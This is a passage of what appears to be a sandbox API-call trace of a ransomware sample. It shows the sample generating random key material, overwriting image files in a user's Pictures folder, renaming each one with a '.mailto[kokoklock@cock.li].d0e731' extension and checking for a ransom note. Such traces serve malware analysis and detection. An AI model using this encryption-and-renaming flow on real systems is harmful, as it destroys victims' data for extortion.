Seed=0xf83fbb4) returned 0xbe8b56e [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x26e84469 [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0xb8ea94cd [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x8e3005c8 [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x5c924983 [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x63c618e8 [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x82ce454a [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x64ebeddf [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0xd2eac2 [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0xcbf37dd5 [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x695bbc6d [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x5ecce29f [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x466fabc1 [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0xa640d7b8 [0065.796] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x781877cc [0065.796] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x2d2a3a90 [0065.796] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0xeff268dc [0065.796] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x7d652a46 [0065.796] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x1d75a902 [0065.796] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x7bf07a52 [0065.796] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x5bf7fbf3 [0065.796] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0xf4362f22 [0065.796] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x6c757739 [0065.796] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0xa2f1123c [0065.807] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.807] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xf83fb80, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf83fb80*=0x4096, lpOverlapped=0x0) returned 1 [0065.808] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be8e8 [0065.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be8e8) returned 1 [0065.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.809] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xf83fb80, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf83fb80*=0x4096, lpOverlapped=0x0) returned 1 [0065.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.809] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x5adf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.809] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be4b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf83fbb8, lpOverlapped=0x0 | out: lpBuffer=0x34be4b0*, lpNumberOfBytesWritten=0xf83fbb8*=0x20, lpOverlapped=0x0) returned 1 [0065.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.809] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be870*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf83fbcc, lpOverlapped=0x0 | out: lpBuffer=0x34be870*, lpNumberOfBytesWritten=0xf83fbcc*=0x8, lpOverlapped=0x0) returned 1 [0065.809] WriteFile (in: hFile=0x7c8, lpBuffer=0xf83fbe4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf83fbcc, lpOverlapped=0x0 | out: lpBuffer=0xf83fbe4*, lpNumberOfBytesWritten=0xf83fbcc*=0x4, lpOverlapped=0x0) returned 1 [0065.809] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf83fbcc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf83fbcc*=0x4, lpOverlapped=0x0) returned 1 [0065.809] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf83fbcc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf83fbcc*=0x6c, lpOverlapped=0x0) returned 1 [0065.809] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf83fbcc, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xf83fbcc*=0x20, lpOverlapped=0x0) returned 1 [0065.810] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf83fbcc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf83fbcc*=0x4, lpOverlapped=0x0) returned 1 [0065.810] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.810] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be578) returned 1 [0065.810] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be870) returned 1 [0065.810] CloseHandle (hObject=0x7c8) returned 1 [0065.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33ce718 [0065.811] wcscpy (in: _Dest=0x33ce718, _Source="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg" [0065.811] wcscat (in: _Dest=0x33ce718, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731" [0065.811] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\f3djqrk-npfsqmq a l3.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\f3djqrk-npfsqmq a l3.jpg.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.812] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce718) returned 1 [0065.812] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg", dwFileAttributes=0x20) returned 0 [0065.812] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482038 [0065.812] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.812] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.812] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0065.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e420) returned 1 [0065.812] RtlExitUserThread (Status=0x1) Thread: id = 341 os_tid = 0x13cc [0065.813] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ft3t49enj.jpg")) returned 0x20 [0065.813] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg", dwFileAttributes=0x20) returned 1 [0065.814] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ft3t49enj.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.814] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xf8bfa5c | out: lpFileSize=0xf8bfa5c*=90039) returned 1 [0065.814] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x15fb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.814] ReadFile (in: hFile=0x7c8, lpBuffer=0xf8bfa30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf8bfa2c, lpOverlapped=0x0 | out: lpBuffer=0xf8bfa30*, lpNumberOfBytesRead=0xf8bfa2c*=0x4, lpOverlapped=0x0) returned 1 [0065.814] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.814] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be8e8 [0065.814] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea00 [0065.814] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be988 [0065.814] NtQuerySystemTime (in: CurrentTime=0xf8bfa08 | out: CurrentTime=0xf8bfa08*=132121176237058942) returned 0x0 [0065.814] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xbe558629 [0065.814] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0x1c45b955 [0065.814] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0x783cc829 [0065.814] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xfc2cfc60 [0065.814] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xd6d4e43e [0065.814] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0x767eaed8 [0065.814] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0x5b2f24f6 [0065.814] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0x4f404019 [0065.814] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xf37ec295 [0065.814] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0x54fdecdb [0065.814] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xd5f10fa6 [0065.814] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0x5d39cda4 [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xaaea65ae [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xf04398e6 [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xe2ae0644 [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xa18bc0c2 [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0x3d37814f [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xfaea4d4b [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xd8949e6a [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xc3ab61d [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0x72f1df6e [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xb33d2000 [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xd847db94 [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0x128af1ee [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0x23d08e2c [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0x75311881 [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0x6541f5b3 [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xbc4c3941 [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xae9138cb [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0xa1691ae4 [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0x87bdfde4 [0065.815] RtlRandom (in: Seed=0xf8bfa14 | out: Seed=0xf8bfa14) returned 0x36d2c912 [0065.826] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.826] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xf8bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf8bf9e0*=0x4096, lpOverlapped=0x0) returned 1 [0065.826] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0065.826] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0065.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea28 [0065.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be8e8 [0065.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be8e8) returned 1 [0065.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.827] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xf8bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf8bf9e0*=0x4096, lpOverlapped=0x0) returned 1 [0065.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.827] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x15fb7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.827] WriteFile (in: hFile=0x7c8, lpBuffer=0x34bea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf8bfa18, lpOverlapped=0x0 | out: lpBuffer=0x34bea28*, lpNumberOfBytesWritten=0xf8bfa18*=0x20, lpOverlapped=0x0) returned 1 [0065.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea28) returned 1 [0065.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.827] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be870*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf8bfa2c, lpOverlapped=0x0 | out: lpBuffer=0x34be870*, lpNumberOfBytesWritten=0xf8bfa2c*=0x8, lpOverlapped=0x0) returned 1 [0065.827] WriteFile (in: hFile=0x7c8, lpBuffer=0xf8bfa44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf8bfa2c, lpOverlapped=0x0 | out: lpBuffer=0xf8bfa44*, lpNumberOfBytesWritten=0xf8bfa2c*=0x4, lpOverlapped=0x0) returned 1 [0065.828] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf8bfa2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf8bfa2c*=0x4, lpOverlapped=0x0) returned 1 [0065.828] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf8bfa2c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf8bfa2c*=0x6c, lpOverlapped=0x0) returned 1 [0065.828] WriteFile (in: hFile=0x7c8, lpBuffer=0x34bea00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf8bfa2c, lpOverlapped=0x0 | out: lpBuffer=0x34bea00*, lpNumberOfBytesWritten=0xf8bfa2c*=0x20, lpOverlapped=0x0) returned 1 [0065.828] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf8bfa2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf8bfa2c*=0x4, lpOverlapped=0x0) returned 1 [0065.828] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea00) returned 1 [0065.828] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be910) returned 1 [0065.828] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be870) returned 1 [0065.828] CloseHandle (hObject=0x7c8) returned 1 [0065.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x3486220 [0065.831] wcscpy (in: _Dest=0x3486220, _Source="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg" [0065.831] wcscat (in: _Dest=0x3486220, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731" [0065.831] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ft3t49enj.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ft3t49enj.jpg.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.831] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0065.832] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg", dwFileAttributes=0x20) returned 0 [0065.832] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482038 [0065.832] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.832] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.832] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0065.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34310a0) returned 1 [0065.832] RtlExitUserThread (Status=0x1) Thread: id = 342 os_tid = 0x13d0 [0065.834] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\gawe9dnsijd4.gif")) returned 0x20 [0065.834] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif", dwFileAttributes=0x20) returned 1 [0065.834] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\gawe9dnsijd4.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.834] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xf93f81c | out: lpFileSize=0xf93f81c*=86275) returned 1 [0065.834] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x150ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.834] ReadFile (in: hFile=0x7c8, lpBuffer=0xf93f7f0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf93f7ec, lpOverlapped=0x0 | out: lpBuffer=0xf93f7f0*, lpNumberOfBytesRead=0xf93f7ec*=0x4, lpOverlapped=0x0) returned 1 [0065.835] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.835] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be8e8 [0065.835] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea00 [0065.835] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea28 [0065.835] NtQuerySystemTime (in: CurrentTime=0xf93f7c8 | out: CurrentTime=0xf93f7c8*=132121176237215320) returned 0x0 [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0xba61f834 [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x8261ee6 [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x18c80ee6 [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x4f931bdc [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x9579f96 [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0xe2b8ee0a [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x55aa5f78 [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x98e3c54a [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x3b4ed6e7 [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x689c044f [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0xadb09556 [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x8d8d6d7e [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x3069169a [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0xea6ae793 [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x5eecacc9 [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x27d2afc7 [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x3c756aa2 [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x1142fb78 [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x762d0a3 [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x551d0611 [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x13e5d84d [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0xc1a3eeef [0065.835] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0xe53e9dfb [0065.836] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0xef7decc1 [0065.836] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x7bd0c790 [0065.836] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x715d4fa1 [0065.836] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x1dd910e4 [0065.836] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x5bed0641 [0065.836] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x6721198a [0065.836] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0xb3e744a2 [0065.836] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0xc590ad2e [0065.836] RtlRandom (in: Seed=0xf93f7d4 | out: Seed=0xf93f7d4) returned 0x555417c2 [0065.847] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | 